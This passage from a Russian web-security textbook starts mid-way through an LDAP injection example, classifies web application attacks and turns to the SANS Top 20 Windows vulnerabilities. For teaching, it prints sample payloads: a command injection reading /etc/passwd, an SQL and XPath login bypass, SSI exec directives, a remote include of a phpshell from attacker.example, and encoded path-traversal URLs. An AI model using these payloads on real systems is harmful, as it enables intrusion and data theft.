line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User information for: " + ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount‑1
line 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b>: " + ldapObj.AttrValue(i) + "<br>" )
line 38: Next
line 39: Response.Write("</p>")
line 40: Wend
line 41: %>
line 42: </body>
line 43: </html>
Обратите внимание, что имя пользователя, полученное от клиента, проверяется на наличие в этой строке пустого значения (строки 10‑12). Если в переменной содержится какое‑то значение, оно используется для инициализации переменной filter (строка 18). Полученное значение используется для построения запроса к службе LDAP (строка 27), который исполняется в строке 29. В приведенном примере атакующий имеет полный контроль над запросом и получает его результаты от сервера (строки 32‑40).Выполнение команд операционной системы (OS Commanding).Атаки этого класса направлены на выполнение команд операционной системы на веб‑сервере путем манипуляции входными данными. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность выполнить команды операционной системы. Они будут выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб‑сервер и т. д.). Пример: язык Perl позволяет перенаправлять вывод процесса оператору open, используя символ | в конце имени файла:
#Выполнить "/bin/ls" и передать
#результат оператору
open Open (FILE, "/bin/ls|")
Веб‑приложения часто используют параметры, которые указывают на то, какой файл отображать или использовать в качестве шаблона. Если этот параметр не проверяется достаточно тщательно, атакующий может подставить команды операционной системы после символа | . Предположим, приложение оперирует URL следующего вида: http://example/cgi‑bin/showInfo.pl?name=John&template=tmp1.txt.
Изменяя значение параметра template, злоумышленник дописывает необходимую команду (/bin/ls) к используемой приложением:
http://example/cgi‑bin/showInfo.pl?name=John&template=/bin/ls|
Большинство языков сценариев позволяет запускать команды операционной системы во время выполнения, используя варианты функции exec. Если данные, полученные от пользователя, передаются этой функции без проверки, злоумышленник может выполнить команды операционной системы удаленно. Следующий пример иллюстрирует уязвимый PHP‑сценарий:
exec("ls‑la $dir",$lines,$rc);
Используя символ ; (UNIX) или & (Windows) в параметре dir, можно выполнить команду операционной системы:
http://example/directory.php?dir=%3Bcat%20/etc/passwd
В результате подобного запроса злоумышленник получает содержимое файла /etc/ passwd.
Внедрение операторов SQL (SQL Injection).Эти атаки направлены на веб‑серверы, создающие SQL‑запросы к серверам СУБД на основе данных, вводимых пользователем. Язык запросов Structured Query Language (SQL) представляет собой специализированный язык программирования, позволяющий создавать запросы к серверам СУБД. Большинство серверов поддерживают этот язык в вариантах, стандартизированных ISO и ANSI. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (например, T‑SQL в Microsoft SQL Server и т. д.). Многие веб‑приложения используют данные, переданные пользователем, для создания динамических веб‑страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать запрос к SQL‑серверу, отправляемый приложением. Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб‑сервер и т. д.). В результате злоумышленник может получить полный контроль над сервером СУБД и даже его операционной системой. С точки зрения эксплуатации SQL Injection очень похож на LDAP Injection.
Предположим, что аутентификация в веб‑приложении осуществляется с помощью веб‑формы, обрабатываемой следующим кодом:
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & strAuthCheck =
GetQueryResult(SQLQuery)
В этом случае разработчики непосредственно используют переданные пользователями значения strUsername и strPassword для создания SQL‑запроса. Предположим, злоумышленник передаст следующие значения параметров:
Login:'OR''='
Password:'OR''='
В результате серверу будет передан следующий SQL‑запрос:
SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''
Вместо сравнения имени пользователя и пароля с записями в таблице Users данный запрос сравнивает пустую строку с пустой строкой. Естественно, результат подобного запроса всегда будет равен True, и злоумышленник войдет в систему от имени первого пользователя в таблице. Обычно выделяют два метода эксплуатации внедрения операторов SQL: обычная атака и атака вслепую (Blind SQL Injection). В первом случае злоумышленник подбирает параметры запроса, используя информацию об ошибках, генерируемую веб‑приложением.
К примеру, добавляя оператор union к запросу, злоумышленник может проверить доступность базы данных (листинг 1.12).
Листинг 1.12. Пример применения оператора union в запросе
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
Из этого примера следует, что оператор union был передан серверу, и теперь злоумышленнику необходимо подобрать используемое в исходном выражении select количество параметров. Возможен также вариант внедрения SQL‑кода вслепую. В этом случае стандартные сообщения об ошибках модифицированы, и сервер возвращает понятную для пользователя информацию о неправильном вводе. Осуществление SQL Injection может быть реализовано и в этой ситуации, однако обнаружение уязвимости затруднено. Наиболее распространенный метод проверки наличия проблемы - добавление выражений, возвращающих истинное и ложное значения.
Выполнение запроса http://example/article.asp?ID=2+and+1=1 к серверу должно вернуть ту же страницу, что и запрос: http://example/article. asp?ID=2, поскольку выражение and 1=1 всегда истинно.
Если в запрос добавляется выражение, возвращающее значение False: example/article.asp?ID=2+and+1 = 0, то пользователю будет возвращено сообщение об ошибках или страница не будет сгенерирована.
Если факт наличия уязвимости подтвержден, эксплуатация ничем не отличается от обычного варианта.
Внедрение серверных расширений (SSI Injection).Атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на веб‑сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле.
Перед генерацией HTML‑страницы сервер может выполнять сценарии, например Server‑site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.
Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в нее запрещенное содержимое при следующем отображении. Вот и пример: выражение < !-#exec cmd="/ bin/ls /" - > будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в UNIX‑системах. Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET: <! - #INCLUDE VIRTUAL="/web.config"‑>
Другие возможности для атаки возникают, когда веб‑сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию. Предположим, веб‑приложение работает со ссылками, подобными следующей: http://portal.example/index.php?template=news$body=$_GET['page'].".php".
В ходе обработки этого запроса сценарий index.php подключает сценарий news. php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker. example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами веб‑сервера.
Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php? template=users/uploads/phpshell) или напрямую (http://portal. example/users/uploads/phpshell.php).
Внедрение операторов XPath (XPath Injection).Эти атаки направлены на вебсерверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.
Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT‑преобразования XML‑документов или выполнения запросов XQuery.
Синтаксис XPath близок к языку SQL‑запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента - имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":
String(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Для примера предположим, что веб‑приложение использует XPath для запросов к документу XML для получения номеров счетов пользователей, чьи имена и пароли были переданы клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости (листинг 1.13).
Листинг 1.13. Код, реализующий уязвимость посредством оператора XPath
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("…");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
// login failed.
} else {
// account found ‑> Login succeeded.
// Proceed into the application.
}
В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например ввести в качестве имени пользователя следующее выражение:' or 1=1 or ''='
В этом случае запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
В результате злоумышленник получит доступ в систему от имени первого в XML‑документе пользователя, не предоставляя имени пользователя и пароля.
Разглашение информации
Атаки данного класса направлены на получение дополнительной информации о веб‑приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих ситуациях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.Индексирование директорий (Directory Indexing).Предоставление списка файлов в директории представляет собой нормальное поведение веб‑сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm), отсутствует.
Когда пользователь запрашивает основную страницу сайта, он обычно указывает доменное имя сервера без имени конкретного файла (http://www.example.com).Сервер просматривает основную папку, находит в ней файл, используемый по умолчанию, и на его основе генерирует ответ. Если такой файл отсутствует, в качестве ответа может вернуться список файлов в директории сервера. Этот случай аналогичен выполнению команды ls (UNIX) или dir (Windows) на сервере и форматированию результатов в виде HTML. В этой ситуации злоумышленник может получить доступ к данным, не предназначенным для свободного доступа. Довольно часто администраторы полагаются на «безопасность через сокрытие», предполагая, что раз гиперссылка на документ отсутствует, то он недоступен непосвященным. Современные сканеры уязвимостей, такие как Nikto, могут динамически добавлять файлы и папки к списку сканируемых в зависимости от результатов запросов. Используя содержимое /robots.txt или полученного списка директорий, сканер может найти спрятанное содержимое или другие файлы. Таким образом, внешне безопасное индексирование директорий может привести к утечке важной информации, которая в дальнейшем будет использована для проведения атак на систему.
Используя индексирование директорий, можно получить доступ к следующим данным.
- Резервные копии (BAK, OLD или ORIG‑файлы).
- Временные файлы. Такие файлы должны удаляться сервером автоматически, но иногда остаются доступными.
- Спрятанные файлы, название которых начинается с символа ..
- Соглашение об именах. Эта информация может помочь предсказать имена файлов или директорий (admin или Admin, back‑up или backup).
- Список пользователей сервера. Очень часто для каждого пользователя создается папка с именем, основанном на названии учетной записи.
- Имена файлов конфигурации (CONF, CFG или CONFIG).
- Содержимое серверных сценариев или исполняемых файлов в случае неверно указанных расширений или разрешений.
Могут использоваться три основных сценария получения списка файлов.
- Ошибки конфигурации. Подобные проблемы возникают, когда администратор ошибочно указывает в конфигурации сервера эту опцию. Такие ситуации могут возникать при настройке сложных конфигураций, где некоторые папки должны быть доступны для просмотра. С точки зрения злоумышленника, запрос не отличается от указанного раньше. Он просто обращается к директории и анализирует результат. Его не беспокоит, почему сервер ведет себя подобным образом.
- Некоторые компоненты веб‑сервера позволяют получать список файлов, даже если это не разрешено в конфигурационных файлах. Обычно это возникает в результате ошибок реализации, когда сервер генерирует список файлов при получении определенного запроса.
- Базы данных поисковых машин (Google, Wayback machine) могут содержать кэш старых вариантов сервера, включая списки файлов.
Идентификация приложений (Web Server/Application Fingerprinting).Определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, веб‑северах и браузерах. Кроме того, эта атака может быть направлена на другие компоненты веб‑приложения, например службу каталога, сервер баз данных или используемые технологии программирования. Обычно подобные атаки осуществляют, анализируя:
- особенности реализации протокола HTTP;
- заголовки HTTP‑ответов;
- используемые сервером расширения файлов (ASP или JSP);
- значение cookie (ASPSESSION и т. д.);
- сообщения об ошибках;
- структуру каталогов и используемое соглашение об именах (Windows/UNIX);
- интерфейсы поддержки разработки веб‑приложений (Frontpage/WebPublisher);
- интерфейсы администрирования сервера (iPlanet/Comanche);
- версию операционной системы.
Для определения версий клиентских приложений обычно используется анализ HTTP‑запросов (порядок следования заголовков, значение User‑agent и т. д.). Однако для этих целей могут применяться и другие техники. Так, например, анализ заголовков почтовых сообщений, созданных с помощью клиента Microsoft Outlook, позволяет определить версию установленного на компьютере браузера Internet Explorer.
Наличие детальной и точной информации об используемых приложениях очень важно для злоумышленника, поскольку реализация многих атак (например, переполнение буфера) специфично для каждого варианта операционной системы или приложения. Кроме того, детальная информация об инфраструктуре позволяет снизить количество ошибок и, как следствие, общий "шум", производимый атакующим. Данный факт отмечен в HTTP RFC 2068, рекомендующим, чтобы значение заголовка Server HTTP‑ответа являлось настраиваемым параметром. Пример: сообщения об ошибках - ошибка 404 сервером Apache обозначается фразой Not Found,в то время как IIS 5.0 отвечает сообщением Object Not Found(листинг 1.14).
Листинг 1.14. Сообщение об ошибке, формируемое сервером Apache
# telnet target1.com 80 Trying target1.com… Connected to target1.com. Escape character is '^]'. HEAD /non‑existent‑file.txt HTTP/1.0 HTTP/1.1 404 Not Found Date: Mon, 07 Jun 2004 14:31:03 GMT Server: Apache/1.3.29 (UNIX) mod_perl/1.29 Connection: close Content‑Type: text/html; charset=iso‑ 8859‑1Синтаксис заголовков также может отличаться. Например, использование строчных или заглавных букв в названии параметров (Content‑Length в IIS или Content‑length в Netscape‑Enterprise/6.0).
Несмотря на требования HTTP RFC, существуют семантические особенности при генерации заголовков различными серверами. Например, Apache передает параметр
Date перед значением заголовка Server, в то время как IIS использует обратный порядок. Порядок значений параметров также может отличаться. Например, при обработке запроса OPTIONS Apache возвращает только параметр Allow, в то время как IIS дополнительно включает параметр Public.
Аналогичным образом может анализироваться наличие опциональных заголовков (Vary, Expires и т. д.) и реакция сервера на неверные запросы (GET //, GET/%2f и т. д.).
Утечка информации (Information Leakage).Эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы. Ценные, с точки зрения злоумышленника, данные могут содержаться в комментариях HTML, сообщениях об ошибках или просто присутствовать в открытом виде. Существует огромное количество ситуаций, в которых может произойти утечка информации. Необязательно она приводит к возникновению уязвимости, но часто дает атакующему прекрасное пособие для развития атаки. С утечкой важной информации могут возникать риски различной степени, поэтому необходимо минимизировать количество служебной информации, доступной на клиентской стороне. Анализ доступной информации позволяет злоумышленнику произвести разведку и получить представление о структуре директорий сервера, используемых SQL‑запросах, названиях ключевых процессов и программ сервера. Часто разработчики оставляют комментарии в HTML‑страницах и коде сценариев для облегчения поиска ошибок и поддержки приложения. Эта информация может варьироваться от простых описаний деталей функционирования программы до, в худших случаях, имен пользователей и паролей, используемых при отладке.
Утечка информации может относиться и к конфиденциальным данным, обрабатываемым сервером. Это могут быть идентификаторы пользователя (ИНН, номера водительских удостоверений, паспортов и т. д.), а также текущая информация (баланс лицевого счета или история платежей). Многие атаки этой категории выходят за рамки защиты веб‑приложений и переходят в область физической безопасности. Утечка информации в этом случае часто возникает, когда в браузере отображается информация, которая не должна выводиться в открытом виде даже пользователю. В качестве примера можно привести пароли пользователя, номера кредитных карточек и т. д. Данный пример хорошо поясняют три основные категории утечки информации: комментарии разработчиков, сообщения об ошибках и отображение конфиденциальной информации. Ниже приведен комментарий разработчиков, который указывает на то, что в случае проблем с загрузкой изображений необходимо перезагрузить сервер VADER:
<TABLE border="0' cellPadding="0' cellSpacing="0' height="59' width="591'> <TBODY> <TR> <! - If the image files are missing, restart VADER ‑> <TD bgColor="#ffffff" colSpan="5' height="17' width="587'> </TD> </TR>Подробные сообщения об ошибках могут возникать в результате специально сформированного запроса. Ниже приведен пример сообщения, типичного для ошибки, возникающей в результате SQL‑запроса. Для реализации атаки с внедрением кода SQL обычно требуется знание структуры запросов, осуществляемых веб‑сервером. Сведения, содержащиеся в передаваемой подробной информации об ошибке, могут быть использованы для построения атакующим корректных запросов к серверу баз данных.
Ниже приведено сообщение, выдаваемое сервером при вводе символа апострофа (") в качестве имени пользователя (листинг 1.15).
Листинг 1.15. Сообщение сервера об ошибке при вводе недопустимого символа
An Error Has Occurred. Error Message: System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username = ''' and password = 'g''. at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling ( Int32 hr) at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult ( tagDBPARAMS dbParams, Object& executeResult) atВ первой части сообщения выводится часть запроса, вызвавшего ошибку. По этой информации злоумышленник может получить информацию об используемых параметрах запроса и месте запроса, в котором осуществляется внедрение кода.
Обратный путь в директориях
Данная техника атак направлена на получение доступа к файлам, директориям и командам, находящимся вне основной директории веб‑сервера. Злоумышленник может манипулировать параметрами URL с целью получить доступ к файлам или выполнить команды, располагаемые в файловой системе веб‑сервера.При подобных атаках потенциально уязвимо любое устройство, имеющее веб‑интерфейс. Многие веб‑серверы ограничивают доступ пользователя определенной частью файловой системы, обычно называемой web document root или CGI root. Эти директории содержат файлы, предназначенные для пользователя, и программы, необходимые для получения доступа к функциям веб‑приложения. Большинство базовых атак, эксплуатирующих обратный путь, основаны на внедрении в URL‑символов ../, чтобы изменить расположение ресурса, который будет обрабатываться сервером. Поскольку большинство веб‑серверов фильтруют эту последовательность, злоумышленник может воспользоваться альтернативными кодировками для представления символов перехода по директориям. Популярные приемы включают использование альтернативных кодировок, например Unicode (..%u2216 или ..%c0%af), использование обратного слэша (..\) в Windows‑серверах, символов URLEncode (%2e%2e%2f) или двойной кодировки URLEncode (..%2 55c). Даже если веб‑сервер ограничивает доступ к файлам определенным каталогом, эта уязвимость может возникать в сценариях или CGI‑программах. Возможность использования обратного пути в каталогах довольно часто возникает в приложениях, использующих механизмы шаблонов или загружающих текст их страниц из файлов на сервере. В этом варианте атаки злоумышленник модифицирует имя файла, передаваемое в качестве параметра CGI‑программы или серверного сценария. В результате злоумышленник может получить исходный код сценариев. Довольно часто к имени запрашиваемого файла добавляются специальные символы - такие как %0 0 - с целью обхода фильтров. Следующие примеры иллюстрируют обратный путь в каталогах вебсервера:
httр://example/../../../../../some/file httр://example/..%255c..%255c..%255csome/file httр://example/..%u2216..%u2216some/fileОбратный путь в каталогах веб‑приложения:
- исходный URL: httр://example/foo.cgi?home=index.htm;
- атака: httр://example/foo.cgi?home=foo.cgi.
В приведенном сценарии веб‑приложение генерирует страницу, содержащую исходный код сценария foo.cgi, поскольку значение переменной home используется как имя загружаемого файла. Обратите внимание, что в данном случае злоумышленник не использует специальных символов, поскольку целью является файл в той же директории, в которой располагается файл index.htm. Кроме того, возможен вариант обратного пути в каталогах веб‑приложения с использованием специальных символов:
- исходный URL: http://example/scripts/foo.cgi?page=menu.txt;
- атака: http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt.
В приведенном примере веб‑приложение загружает исходный текст сценария foo.cgi. Атакующий использует символы ../ для перехода на уровень выше по дереву каталогов и перехода в директорию /scripts.Символ %0 0 используется для обхода проверки расширения файла (приложение позволяет обращаться только к файлам TXT) и чтобы расширение не использовалось при загрузке файла.
Предсказуемое расположение ресурсов
Предсказуемое расположение ресурсов позволяет злоумышленнику получить доступ к скрытым данным или функциональным возможностям. Путем подбора злоумышленник может получить доступ к содержимому, не предназначенному для публичного просмотра. Временные файлы, файлы резервных копий, файлы конфигурации или стандартные примеры часто являются целью подобных атак. В большинстве случаев перебор может быть оптимизирован путем использования стандартного соглашения об именах файлов и директорий сервера. Получаемые злоумышленником файлы могут содержать информацию о дизайне приложения, информацию из баз данных, имена машин или пароли, пути к директориям. Скрытые файлы также могут содержать уязвимости, отсутствующие в основном приложении. На эту атаку часто ссылаются как на перечисление файлов и директорий (Forced Browsing, File Enumeration, Directory Enumeration). Вот и пример: атакующий может создать запрос к любому файлу или папке на сервере. Наличие или отсутствие ресурса определяется по коду ошибки (например, 4 04 в случае отсутствия папки или 4 03 в случае ее наличия на сервере). Ниже приведены варианты подобных запросов.
- Слепой поиск популярных названий директорий: /admin/, /backup/, /logs/, /vulnerable file.cgi.
- Изменение расширений существующего файла (/test.asp): /test.asp. bak, /test.bak, /test.
- Логические атаки (Logical Attacks). Атаки данного класса направлены на эксплуатацию функций приложения или логики его функционирования. Логика приложения представляет собой ожидаемый процесс функционирования программы при выполнении определенных действий. В качестве примеров можно привести восстановление паролей, регистрацию учетных записей, аукционные торги, транзакции в системах электронной коммерции. Приложение может требовать от пользователя корректного выполнения нескольких последовательных действий для решения определенной задачи. Злоумышленник может обойти или использовать эти механизмы в своих целях.
Злоупотребление функциональными возможностями
Данные атаки направлены на использование функций веб‑приложения с целью обхода механизмов разграничения доступа. Некоторые механизмы веб‑приложения, включая функции обеспечения безопасности, могут быть использованы для этих целей. Наличие уязвимости в одном из, возможно, второстепенных компонентов приложения может привести к компрометации всего приложения. Уровень риска и потенциальные возможности злоумышленника в случае проведения атаки очень сильно зависят от конкретного приложения. Злоупотребление функциональными возможностями очень часто используется совместно с другими атаками, такими как обратный путь в директориях и др. К примеру, при наличии уязвимости типа "межсайтовое выполнение сценариев" в HTML‑чате злоумышленник может использовать функции чата для рассылки URL, эксплуатирующего эту уязвимость, всем текущим пользователям. С глобальной точки зрения, все атаки на компьютерные системы являются злоупотреблениями функциональными возможностями. Особенно это относится к атакам, направленным на веб‑приложения, которые не требуют модификации функций программы. Примеры злоупотребления функциональными возможностями включают в себя:
- применение функций поиска для получения доступа к файлам за пределами корневой директории веб‑сервера;
- использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев;
- реализацию отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля.
Ниже приведены примеры подобных уязвимостей, взятые из реальной жизни.
Программа FormMail представляет собой приложение на языке PERL, используемое для передачи данных из HTML‑формы на указанный почтовый адрес. Этот сценарий довольно удобно использовать для организации функции обратной связи на сервере. К сожалению, данная программа предоставляла злоумышленнику возможность передавать почтовые сообщения любому почтовому пользователю. Таким образом, приложение могло быть использовано в качестве почтового ретранслятора для рассылки спама. Злоумышленник применяя параметры URL GET‑за‑проса для указания получателя почтового сообщения, к примеру:
httр://example/cgi‑bin/FormMail.pl? recipient= email@victim.example&message =you% 20got%20spam
В качестве отправителя почтового сообщения указывался адрес веб‑сервера, что позволяло злоумышленнику оставаться полностью анонимным.
Иногда базовый интерфейс администрирования, поставляемый вместе с веб‑приложением, может использоваться с не предусмотренными разработчиками целями. К примеру, Macromedia's Cold Fusion по умолчанию имеет модуль, позволяющий просматривать исходный код сценариев. Злоупотребление этой функцией может привести к получению критичной информации веб‑приложения. Удаление или отключение данной функции весьма проблематично, поскольку от нее зависят важные компоненты приложения.
Иногда изменение данных, обрабатываемых приложением, может позволить модифицировать поведение программы. К примеру, уязвимость в функции покупки приложения CyberOffice позволяла модифицировать значение цены, передаваемой пользователю в скрытом поле HTML‑формы. Страница подтверждения заказа загружалась злоумышленником, модифицировалась на клиенте и передавалась серверу уже с модифицированным значением цены.
Отказ в обслуживании (Denial of Service).Данный класс атак направлен на нарушение доступности веб‑сервера. Обычно атаки, направленные на отказ в обслуживании, реализуются на сетевом уровне, однако они могут быть направлены и на прикладной уровень. Используя функции веб‑приложения, злоумышленник может исчерпать критичные ресурсы системы или воспользоваться уязвимостью, приводящей к прекращению функционирования системы. Обычно DoS‑атаки направлены на исчерпание критичных системных ресурсов - таких как вычислительные мощности, оперативная память, дисковое пространство или пропускная способность каналов связи. Если какой‑то из ресурсов достигнет максимальной загрузки, приложение целиком будет недоступно. Атаки могут быть направлены на любой из компонентов веб‑приложения, например такие как сервер СУБД, сервер аутентификации и т. д. В отличие от атак на сетевом уровне, требующих значительных ресурсов злоумышленника, атаки на прикладном уровне обычно легче реализовать. В качестве примера подойдет следующий случай.
Предположим, что сервер Health‑Care генерирует отчеты о клинической истории пользователей. Для генерации каждого отчета сервер запрашивает все записи, соответствующие определенному номеру социального страхования. Поскольку в базе содержатся сотни миллионов записей, пользователю приходится ожидать результата несколько минут. В это время загрузка процессора сервера СУБД достигает 60 %. Злоумышленник может послать десять одновременных запросов на получение отчетов, что с высокой вероятностью приведет к отказу в обслуживании, поскольку загрузка процессора сервера баз данных достигнет максимального значения. На время обработки запросов злоумышленника нормальная работа сервера будет невозможна. Как второй вариант - атаки на сервер СУБД. Злоумышленник может воспользоваться внедрением кода SQL для удаления данных из таблиц, что приведет к отказу в обслуживания приложения.
Недостаточное противодействие автоматизации (Insufficient Anti‑automation).
Недостаточное противодействие автоматизации возникает, когда сервер позволяет автоматически выполнять операции, которые должны проводиться вручную. Для некоторых функций приложения необходимо реализовывать защиту от автоматических атак. Автоматизированные программы могут варьироваться от безобидных роботов поисковых систем до систем автоматизированного поиска уязвимостей и регистрации учетных записей. Подобные роботы генерируют тысячи запросов в минуту, что может привести к падению производительности всего приложения. Противодействие автоматизации заключается в ограничении возможностей подобных утилит. Например, файл robots может предотвращать индексирование некоторых частей сервера, а дополнительные средства идентификации - автоматическую регистрацию сотен учетных записей системы электронной почты.
Недостаточная проверка процесса (Insufficient Process Validation).Уязвимости этого класса возникают, когда сервер недостаточно проверяет последовательность выполнения операций приложения. Если состояние сессии пользователя и приложения должным образом не контролируется, приложение может быть уязвимо для мошеннических действий. В процессе доступа к некоторым функциям приложения ожидается, что пользователь выполнит ряд действий в определенном порядке. Если некоторые действия выполняются неверно или в неправильном порядке, возникает ошибка, приводящая к нарушению целостности. Примерами подобных функций выступают переводы, восстановление паролей, подтверждение покупки, создание учетной записи и т. д. В большинстве случаев эти процессы состоят из ряда последовательных действий, осуществляемых в четком порядке. Для обеспечения корректной работы подобных функций веб‑приложение должно четко отслеживать состояние сессии пользователя и ее соответствие текущим операциям. В большинстве случаев это осуществляется путем сохранения состояния сессии в cookie или скрытом поле формы HTML. Но поскольку эти значения могут быть модифицированы пользователем, обязательно должна проводиться их проверка на сервере. Если этого не происходит, злоумышленник получает возможность обойти последовательность действий и, как следствие, логику приложения. В качестве примера подойдет следующее. Система электронной торговли может предлагать скидку на продукт B в случае покупки продукта A. Пользователь, не желающий покупать продукт A, может попытаться приобрести продукт B со скидкой. Заполнив заказ на покупку обоих продуктов, пользователь получает скидку. Затем он возвращается к форме подтверждения заказа и удаляет продукт A из покупаемых путем модификации значений в форме. Если сервер повторно не проверит возможность покупки продукта B по указанной цене без продукта A, будет осуществлена закупка по низкой цене.
Горячая двадцатка уязвимостей от SANS
Обычному пользователю очень часто приходится слышать о появлении новых уязвимостей. Разобраться в такой каше бывает совсем непросто ввиду слабой систематизации таких сообщений, которые чаще всего представлены сухой констатацией отрывков бюллетеней безопасности корпорации Microsoft. Наиболее авторитетным источником, представляющим различные уязвимости в классифицированной форме, является The SANS Institute (http://www.sans.org/top20).В отчете SANS все уязвимости разделены на уязвимости Windows‑систем, UNIX‑систем, приложений (программ) и сетевых продуктов.
В объеме данного раздела подробно остановимся лишь на уязвимостях Windows‑систем (с полным отчетом можно ознакомиться по адресу http://www.sans.org/top20).
ПРИМЕЧАНИЕ
Список рассматриваемых в данном разделе уязвимостей нельзя считать самым новым. Он приведен лишь как пример.
Чтобы немного четче представлять, что откуда взялось и кому все это нужно, будет более чем уместно привести «повествование временных лет» горячих отчетов SANS.
Несколько лет назад институт SANS (SANS Institute) и Национальный Центр Защиты Инфраструктуры США (National Infrastructure Protection Center, или NIPC) совместно с FBI представили документ, который по сути своей являлся самым что ни на есть настоящим отчетом, где было озвучено десять критических (на тот момент) уязвимостей, касающихся интернет‑безопасности. Данный отчет за короткое время приобрел статус авторитетного руководства, которое активно использовалось различными конторами для устранения дыр ПО. Отчет содержал свежую информацию об уязвимых сервисах, компрометирующихся такой "киберзаразой" своего времени, как Blaster, Slammer и Code Red. В последующие годы отчет трансформировался в список уже из двадцати критических уязвимостей, коим и является на сегодняшний день.
Ну что ж, вот, пожалуй, и начнем.
Сервисы Windows.Семейство операционных систем платформы Windows характеризуется наличием самых разнообразных сервисов, многие из которых обеспечивают нормальную работу данной операционной системы как сетевой. К чему это мы? Наверное, к тому, что уязвимости сервисов Windows как таковые - довольно распространенное явление. Можно даже сказать больше: дыры в сервисах находили, находят и, несомненно, будут находить, благо сервисов у Windows предостаточно. Многие сервисные уязвимости эксплуатируются посредством переполнения буфера (уязвимости переполнения буфера - buffer overflow vulnerabilities), причем большинство атак подобного рода относят к категории удаленных. Удивляться этому факту особо не приходится, учитывая, что подобные сервисы - сетевые.
Небольшое лирическое отступление: наверное, многим из читателей доводилось слышать, что чем больше открытых портов в системе, тем она более уязвима. И тут должен возникнуть закономерный вопрос: как же можно минимизировать количество открытых портов? Просто. Все дело в том, что порт по сути представляет собой какое‑либо сетевое приложение, взаимодействующее с подобными себе посредством сетевого интерфейса (очень упрощенно). Чаще всего какому‑либо открытому порту соответствует определенное приложение (в нашем случае - служба). Из вышесказанного следует, что минимизировать количество открытых портов можно, минимизировав количество запущенных служб. В качестве горячего примера, иллюстрирующего вышесказанное, уместно привести следующее изображение (рис. 1.7).
Запущенная служба (служба времени Windows) - открытый порт
При отключении службы времени Windows автоматически закрывается и соответствующий порт (рис. 1.8).
Порт 123 закрыт!
Естественно, что в данной ситуации главное - не переусердствовать, для чего очень полезно ознакомиться с описанием служб Windows. Вернемся к SANS.
Согласно отчету список уязвимых служб таков (буквенно‑цифровое обозначение уязвимости соответствует оригинальной классификации Microsoft):
- MSDTC and COM+ Service (MS05‑051);
- Print Spooler Service (MS05‑043);
- Plug and Play Service (MS05‑047, MS05‑039);
- Server Message Block Service (MS05‑027, MS05‑011);
